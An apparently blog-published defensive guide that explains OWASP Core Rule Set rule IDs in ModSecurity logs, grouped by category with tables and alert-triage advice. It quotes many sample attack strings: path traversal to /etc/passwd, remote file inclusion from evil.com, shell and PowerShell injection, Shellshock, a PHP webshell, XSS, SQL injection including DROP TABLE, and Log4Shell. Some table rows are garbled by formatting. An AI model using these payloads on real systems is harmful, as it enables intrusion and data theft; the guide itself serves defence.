Introduction: The Cryptic World of Rule IDs
You’re staring at your shiny new ModSecurity dashboard. Everything looks great until you see entries like:
Rule: 941100
Rule: 920350
Rule: 932130
And you think: “What in the seven layers of the OSI model does that mean?”
Fear not, fellow security enthusiast. This guide will turn those cryptic numbers into actionable knowledge. By the end, you’ll be reading rule IDs like a security sommelier reads wine labels.
The OWASP Core Rule Set (CRS) Numbering System
The OWASP CRS uses a clever numbering system. The first three digits tell you the category of the rule:
| Prefix | Category | What It Catches |
|---|---|---|
| 9xx | Protocol/Format | HTTP protocol violations |
| 91x | Scanner Detection | Automated tools & bots |
| 92x | Protocol Enforcement | HTTP standards violations |
| 93x | Local File Inclusion (LFI) | Path traversal attacks |
| 94x | Remote Attacks | XSS, SQLi, RCE |
| 95x | Outbound | Data leakage detection |
Let’s dive deep into each category.
913xxx – Scanner Detection 🤖
“I know you’re a bot, and you know I know”
These rules detect automated scanning tools, vulnerability scanners, and web crawlers with malicious intent.
| Rule ID | What It Detects | Real-World Example |
|---|---|---|
| 913100 | Known security scanner User-Agent | Nikto, sqlmap, Nessus |
| 913101 | Scripting/generic HTTP client | python-requests, curl/7.x |
| 913102 | Web crawler/bot | Aggressive crawlers ignoring robots.txt |
| 913110 | Request headers associated with scanners | Missing Accept header |
| 913120 | Request filename/argument associated with scanners | /admin/config.php.bak |
Why you see these: Someone is probing your site with automated tools. Could be a legitimate security researcher, a script kiddie, or your own forgotten pentest.
Pro tip: Rule 913100 catches tools that are too lazy to change their User-Agent. The smart attackers spoof it, so don’t rely solely on this.
920xxx – Protocol Enforcement 📋
“That’s not how HTTP works, buddy”
These rules enforce HTTP protocol standards. Violations often indicate malformed requests from bots or attack tools.
| Rule ID | What It Detects | Why It Matters |
|---|---|---|
| 920100 | Invalid HTTP request line | Malformed requests, often from scanners |
| 920120 | Attempted multipart/form-data bypass | File upload shenanigans |
| 920160 | Content-Length header is not numeric | Protocol violation, possible smuggling |
| 920170 | GET/HEAD request with body content | Undefined behavior exploitation |
| 920180 | POST without Content-Length/Transfer-Encoding | Incomplete request, possible attack |
| 920200 | Range header with too many fields | DoS via Range header |
| 920230 | Multiple/conflicting Content-Type headers | Request smuggling attempt |
| 920260 | Unicode full/half width abuse | Encoding bypass attempt |
| 920270 | Invalid character in request | Null bytes, control characters |
| 920272 | Invalid character in request (outside printable) | Binary data in text fields |
| 920280 | Missing Host header | Ancient HTTP/1.0 or malicious |
| 920290 | Empty Host header | Definitely suspicious |
| 920300 | Missing Accept header | Bots often forget this |
| 920310 | Empty Accept header | Lazy bot |
| 920320 | Missing User-Agent header | Very suspicious |
| 920330 | Empty User-Agent header | Equally suspicious |
| 920340 | Missing Content-Type (with body) | Malformed POST |
| 920350 | Host header is an IP address | Often indicates direct scanning |
| 920380 | Too many arguments in request | Possible buffer overflow attempt |
| 920390 | Total argument size exceeded | Same as above |
| 920400 | Uploaded file size too large | Potential DoS |
| 920410 | Total uploaded files size exceeded | Definitely DoS |
| 920420 | Request content type not allowed | Unexpected MIME type |
| 920430 | HTTP protocol version not allowed | HTTP/0.9 is so 1991 |
| 920440 | URL file extension restricted | .exe, .dll, .bat etc. |
| 920450 | HTTP header restricted | Forbidden headers |
| 920460 | Abnormal escape characters | Encoding attacks |
| 920470 | Illegal Content-Type header | Invalid MIME type |
| 920480 | Missing charset in Content-Type | Can enable encoding attacks |
Most common offenders:
- 920350 – Bots accessing by IP instead of hostname
- 920280 – Broken HTTP clients or very old tools
- 920320 – Scripts that don’t set User-Agent
930xxx – Local File Inclusion (LFI) 📁
“Nice try accessing /etc/passwd”
These rules catch attempts to read local files through path traversal.
| Rule ID | What It Detects | Attack Example |
|---|---|---|
| 930100 | Path traversal attack ../ |
?file=../../../etc/passwd |
| 930110 | Path traversal attack ..; |
?file=..;/..;/etc/passwd |
| 930120 | OS file access attempt | Direct /etc/passwd reference |
| 930130 | Restricted file access | .htaccess, .git/config |
The classic attack:
GET /download.php?file=../../../../etc/passwd HTTP/1.1
Why this is bad: If your app doesn’t validate file paths, attackers can read any file on the server. Database configs, SSH keys, you name it.
931xxx – Remote File Inclusion (RFI) 🌐
“No, I won’t include your malicious PHP file”
| Rule ID | What It Detects | Attack Example |
|---|---|---|
| 931100 | Possible RFI attack (URL parameter) | ?page=http://evil.com/shell.php |
| 931110 | Possible RFI attack (common names) | ?include=http://... |
| 931120 | Possible RFI attack (URL with trailing ?) | PHP include bypass tricks |
| 931130 | Possible RFI attack (off-domain reference) | Including external resources |
The attack:
GET /index.php?page=http://evil.com/backdoor.txt HTTP/1.1
If your PHP code does include($_GET['page']), you’re having a very bad day.
932xxx – Remote Code Execution (RCE) 💀
“The ‘game over’ category”
These are the big scary ones. RCE means an attacker can run arbitrary commands on your server.
| Rule ID | What It Detects | Attack Example |
|---|---|---|
| 932100 | Unix command injection | ; cat /etc/passwd |
| 932105 | Unix command injection (common evasion) | \cat /etc/passwd“ |
| 932106 | Unix command injection (common evasion) | $(cat /etc/passwd) |
| 932110 | Windows command injection | & dir c:\ |
| 932115 | Windows PowerShell injection | powershell -enc ... |
| 932120 | Windows PowerShell command | Invoke-Expression |
| 932130 | Unix shell expression | ${IFS} and friends |
| 932140 | Windows FOR/IF command | Batch file tricks |
| 932150 | Direct Unix command execution | wget, curl, nc |
| 932160 | Unix shell code | Shellshock patterns |
| 932170 | Shellshock (CVE-2014-6271) | () { :; }; |
| 932171 | Shellshock (CVE-2014-6271) | Variant patterns |
| 932180 | Restricted file upload attempt | .php, .asp uploads |
| 932190 | Wildcard bypass attempt | cat /etc/pas?wd |
The classic:
GET /ping.php?host=127.0.0.1;cat+/etc/passwd HTTP/1.1
If you see 932xxx alerts frequently: Either you’re under active attack, or your application has some interesting input handling.
933xxx – PHP Injection 🐘
“PHP: Making life interesting since 1994”
| Rule ID | What It Detects | What It Means |
|---|---|---|
| 933100 | PHP injection attack | <?php system($_GET['cmd']); ?> |
| 933110 | PHP injection (opening tag) | <?, <?php in inputs |
| 933111 | PHP injection (short tag) | <?= shorthand |
| 933120 | PHP injection (config directive) | php://filter/ |
| 933130 | PHP variable reference | $_GET, $_POST, $_REQUEST |
| 933140 | PHP I/O stream | php://input, php://stdin |
| 933150 | PHP function name | eval(), exec(), system() |
| 933160 | PHP high-risk functions | base64_decode, gzinflate |
| 933170 | PHP serialization | O:8:"stdClass": |
| 933180 | PHP variable function call | $var() dynamic calls |
| 933190 | PHP closing tag | ?> in input |
| 933200 | PHP wrapper attack | expect://, zip:// |
| 933210 | PHP object injection | Serialized objects |
941xxx – Cross-Site Scripting (XSS) 🎭
“JavaScript where it shouldn’t be”
| Rule ID | What It Detects | Attack Example |
|---|---|---|
| 941100 | XSS attack detected via libinjection | Sophisticated pattern matching |
| 941110 | XSS filter (basic) | <script>alert(1)</script> |
| 941120 | XSS filter (event handlers) | onmouseover=alert(1) |
| 941130 | XSS filter (attribute-based) | <img src=x onerror=alert(1)> |
| 941140 | XSS filter (JavaScript URI) | javascript:alert(1) |
| 941150 | XSS filter (HTML attributes) | Various attribute vectors |
| 941160 | NoScript XSS InjectionChecker | Advanced patterns |
| 941170 | NoScript XSS InjectionChecker | More patterns |
| 941180 | Node-validator blacklist | Node.js specific |
| 941190 | XSS using stylesheets | ` |
| ` injection | ||
| 941200 | XSS using VML frames | IE-specific vectors |
| 941210 | XSS using obfuscated JavaScript | \x3cscript\x3e |
| 941220 | XSS using obfuscated VB Script | IE/VBScript vectors |
| 941230 | XSS using embed tag |
Flash/plugin vectors |
| 941240 | XSS using import or implementation |
XML namespace tricks |
| 941250 | IE XSS filters | Internet Explorer specific |
| 941260 | XSS using meta tag |
<meta http-equiv="refresh"> |
| 941270 | XSS using link href |
Stylesheet injection |
| 941280 | XSS using base tag |
Base URL hijacking |
| 941290 | XSS using applet tag |
Java applet vectors |
| 941300 | XSS using object tag |
Object embedding |
| 941310 | US-ASCII malformed encoding XSS | Charset tricks |
| 941320 | HTML tag handler XSS | Event handler patterns |
| 941330 | IE XSS Filters (basic) | More IE patterns |
| 941340 | IE XSS Filters (enhanced) | Even more IE patterns |
| 941350 | UTF-7 encoding XSS | +ADw-script+AD4- |
| 941360 | JSFuck/Hieroglyphy obfuscation | [][(![]+[])[+[]]... |
| 941370 | JavaScript global variable | window., document. |
| 941380 | AngularJS client-side template injection | {{constructor.constructor('alert(1)')()}} |
Fun fact: 941360 catches JSFuck, which encodes JavaScript using only []()!+. Because apparently that’s a thing people do.
942xxx – SQL Injection (SQLi) 💉
“Bobby Tables strikes again”
| Rule ID | What It Detects | Attack Example |
|---|---|---|
| 942100 | SQLi attack via libinjection | Advanced pattern matching |
| 942110 | SQLi (tautology) | ' OR '1'='1 |
| 942120 | SQLi (operator detection) | UNION SELECT, CONCAT() |
| 942130 | SQLi (logical expressions) | 1=1, a=a tautologies |
| 942140 | SQLi (common DB names) | information_schema, sys. |
| 942150 | SQLi (common function names) | BENCHMARK(), SLEEP() |
| 942160 | SQLi (blind, using sleep/benchmark) | Time-based injection |
| 942170 | SQLi (conditional injection) | CASE WHEN... |
| 942180 | SQLi (authentication bypass) | admin'--, ' OR 1=1-- |
| 942190 | SQLi (code execution) | xp_cmdshell, EXEC() |
| 942200 | SQLi (comment/space obfuscation) | /**/, /*!...*/ |
| 942210 | SQLi (chained injection) | ;DROP TABLE users-- |
| 942220 | SQLi (integer overflow) | Large numbers causing issues |
| 942230 | SQLi (conditional probing) | Blind injection patterns |
| 942240 | SQLi (charset switching) | Encoding tricks |
| 942250 | SQLi (MATCH AGAINST) | MySQL fulltext abuse |
| 942260 | SQLi (authentication bypass, 2/3) | More bypass patterns |
| 942270 | SQLi (basic injection) | Simple patterns |
| 942280 | SQLi (pg_sleep, waitfor delay) | Time-based for PostgreSQL/MSSQL |
| 942290 | SQLi (MongoDB) | NoSQL injection |
| 942300 | SQLi (MySQL comment) | # and -- comments |
| 942310 | SQLi (chained, 2/2) | More chained patterns |
| 942320 | SQLi (stored procedure) | CALL, EXECUTE |
| 942330 | SQLi (classic probing) | ', ", ) testing |
| 942340 | SQLi (authentication bypass, 3/3) | Even more bypasses |
| 942350 | SQLi (MySQL UDF injection) | User-defined functions |
| 942360 | SQLi (concatenation) | CONCAT, ||, + |
| 942370 | SQLi (classic probing, 2/2) | More testing patterns |
| 942380 | SQLi (basic) | Simple SQL patterns |
| 942390 | SQLi (basic, 2/2) | More simple patterns |
| 942400 | SQLi (comment sequence) | --, #, /* |
| 942410 | SQLi (basic, 3/3) | Yet more patterns |
| 942420 | SQL hex encoding | 0x41424344 |
| 942430 | Restricted anomaly detection | Character anomalies |
| 942440 | SQL comment sequence | Comment patterns |
| 942450 | SQL hex encoding (2/2) | More hex patterns |
| 942460 | Meta character anomaly | Unusual characters |
| 942470 | SQLi (function injection) | SQL function calls |
| 942480 | SQLi (function injection, 2/2) | More functions |
| 942490 | SQLi (classic, PostgreSQL) | PostgreSQL specific |
| 942500 | MySQL in-line comment | /*!50000 ...*/ |
The classic:
' OR '1'='1' --
' UNION SELECT username, password FROM users --
'; DROP TABLE users; --
943xxx – Session Fixation 🔐
“Identity theft, HTTP edition”
| Rule ID | What It Detects |
|---|---|
| 943100 | Session fixation attack (cookie) |
| 943110 | Session fixation attack (SessionID in URL) |
| 943120 | Session fixation attack (external referrer) |
944xxx – Java Attacks ☕
“Enterprise vulnerabilities for enterprise applications”
| Rule ID | What It Detects | Real World |
|---|---|---|
| 944100 | Remote command execution (Java) | OGNL injection |
| 944110 | Remote command execution (Java serialization) | Deserialization RCE |
| 944120 | Remote command execution (Log4Shell!) | ${jndi:ldap://...} |
| 944130 | Suspicious Java class | Dangerous class loading |
| 944200 | Java serialization (Apache Commons) | Commons-collections gadgets |
| 944210 | Java serialization (base64) | Encoded payloads |
| 944240 | Remote command execution (Java, CVE-2017-9805) | Struts2 RCE |
| 944250 | Remote command execution (Java, Spring4Shell) | CVE-2022-22965 |
Note: 944120 is the Log4Shell detection. If you see this in 2024+, someone is still trying that attack. It worked very well in December 2021.
Paranoia Levels 🎚️
CRS rules have “Paranoia Levels” (PL1-PL4):
| Level | Description | False Positive Risk |
|---|---|---|
| PL1 | Default, low false positives | Low |
| PL2 | More rules, some FPs | Medium |
| PL3 | Aggressive, more FPs | High |
| PL4 | Maximum paranoia | Very High |
Higher paranoia = more detection = more false positives. Choose wisely.
Quick Reference Card
913xxx = Scanner Detection "I see you, Nikto"
920xxx = Protocol Issues "That's not valid HTTP"
930xxx = Local File Include "No reading /etc/passwd"
931xxx = Remote File Include "No including evil.com/shell.php"
932xxx = Remote Code Exec "No running commands"
933xxx = PHP Injection "No injecting PHP"
941xxx = XSS "No JavaScript injection"
942xxx = SQL Injection "Bobby Tables detected"
943xxx = Session Fixation "No stealing sessions"
944xxx = Java Attacks "No Log4Shell for you"
What To Do When You See Alerts
-
Single alert, random IP: Probably automated scanning. Ignore unless persistent.
-
Multiple alerts, same IP: Someone is actively probing. Consider blocking.
-
941xxx + 942xxx combo: Classic attack pattern. They’re testing for XSS and SQLi.
-
932xxx alerts: Take seriously. Someone wants shell access.
-
944120 (Log4Shell): In 2024? Really? Block and move on.
-
920xxx only: Likely a misconfigured bot or broken client, not necessarily malicious.
Conclusion
ModSecurity rules are like a security guard’s handbook – each number tells a story. Now when you see 941100 in your logs, you don’t just see a number – you see an attempted XSS attack that libinjection caught.
Use this knowledge to:
- Prioritize alerts (932xxx > 941xxx > 920xxx for severity)
- Understand attack patterns
- Fine-tune your WAF rules
- Impress your colleagues at security meetings
Remember: Every blocked attack is a story of what could have been. And thanks to your WAF (and this guide), those stories have happy endings.
Stay secure, stay curious, and may your audit logs be ever in your favor.
Happy Defending! 🛡️
Appendix: Most Common Rules You’ll See
| Rule | What It Is | Worry Level |
|---|---|---|
| 920350 | Host header is IP | 🟢 Low |
| 920280 | Missing Host header | 🟢 Low |
| 913100 | Known scanner | 🟡 Medium |
| 941100 | XSS detected | 🟠 High |
| 942100 | SQLi detected | 🟠 High |
| 932100 | Command injection | 🔴 Critical |
| 944120 | Log4Shell | 🔴 Critical |
Note: Worry levels assume the attack was blocked. If it got through… well, you have bigger problems.
Leave a Reply